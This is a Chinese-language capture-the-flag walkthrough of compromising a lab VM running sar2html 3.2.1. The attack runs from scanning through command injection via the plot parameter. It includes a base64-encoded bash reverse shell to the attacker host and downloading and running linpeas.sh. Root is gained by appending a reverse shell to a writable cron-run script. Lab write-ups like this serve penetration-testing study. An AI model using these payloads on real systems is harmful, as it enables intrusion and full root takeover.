渗透思路:
nmap扫描----dirb扫描网站目录----exploit-db查找exp----利用sar2html的RCE漏洞getshell(base64编码)----利用定时任务提权
环境信息:
靶机:192.168.101.65
攻击机:192.168.101.34
具体步骤:
1、nmap扫描
sudo nmap -sV -sC -p- 192.168.101.65
只扫描到80端口(http)
2、dirb扫描网站目录
dirb http://192.168.101.65
查看http://192.168.101.65/robots.txt,发现sar2HTML
3、exploit-db查找exp
访问http://192.168.101.65/sar2HTML/,发现版本信息:sar2html Ver 3.2.1
在Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers中搜索sar2,得到2条版本匹配的结果,上面那条是个python脚本,下面那条是文字说明
查看下面那条Sar2HTML 3.2.1 - Remote Command Execution - PHP webapps Exploit
可以看出漏洞利用步骤很简单,只需要在http://<ipaddr>/index.php?plot=;<command-here>的<command-here>处输入命令,然后点击select host下拉框即可
4、利用sar2html的RCE漏洞getshell
先用id命令尝试一下:
浏览器访问http://192.168.101.65/sar2HTML/index.php?plot=;id
然后点击select host下拉框,可以看到下拉框中包含id命令的执行结果
然后尝试getshell。
经尝试,这边bash反弹shell需要base64编码,具体方式如下:
先在攻击机上输入
echo "bash -i &>/dev/tcp/192.168.101.34/8888 <&1" | base64
得到bash -i &>/dev/tcp/192.168.101.34/8888 <&1的base64编码
再组合成下面的payload,也就是在靶机上将YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTAxLjM0Lzg4ODggPCYxCg==进行base64解码之后再执行
echo YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTAxLjM0Lzg4ODggPCYxCg== | base64 -d | bash
攻击机上nc监听8888端口
nc -nlvp 8888
然后浏览器访问
然后攻击机上nc监听的端口就获得了靶机www-data用户的反弹shell
5、利用定时任务提权
love的家目录下执行以下命令,迭代查看该目录下的文件。
ls -alR
只找到第一个flag:/home/love/Desktop/user.txt
攻击机上linpeas.sh所在目录下起http服务
python2 -m SimpleHTTPServer 9999
靶机/tmp目录下执行
wget http://192.168.101.34:9999/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
linpeas.sh的执行结果中有个非常可疑的定时任务,root每隔5分钟执行一次/var/www/html/finally.sh
后来找了一下是/etc/crontab中写的
查看/var/www/html/finally.sh的内容,发现它执行了/var/www/html/write.sh
由于/var/www/html/write.sh是可以修改的,因此可以将反弹shell命令加入该文件中,这样定时任务执行的时候就可以得到root用户的反弹shell
将反弹shell命令写入/var/www/html/write.sh
echo "bash -c 'exec bash -i &>/dev/tcp/192.168.101.34/7777 <&1'" >> write.sh
查看是否写入成功
攻击机上nc监听7777端口
nc -nlvp 7777
等待几分钟之后,获得root的反弹shell
查看flag:/root/root.txt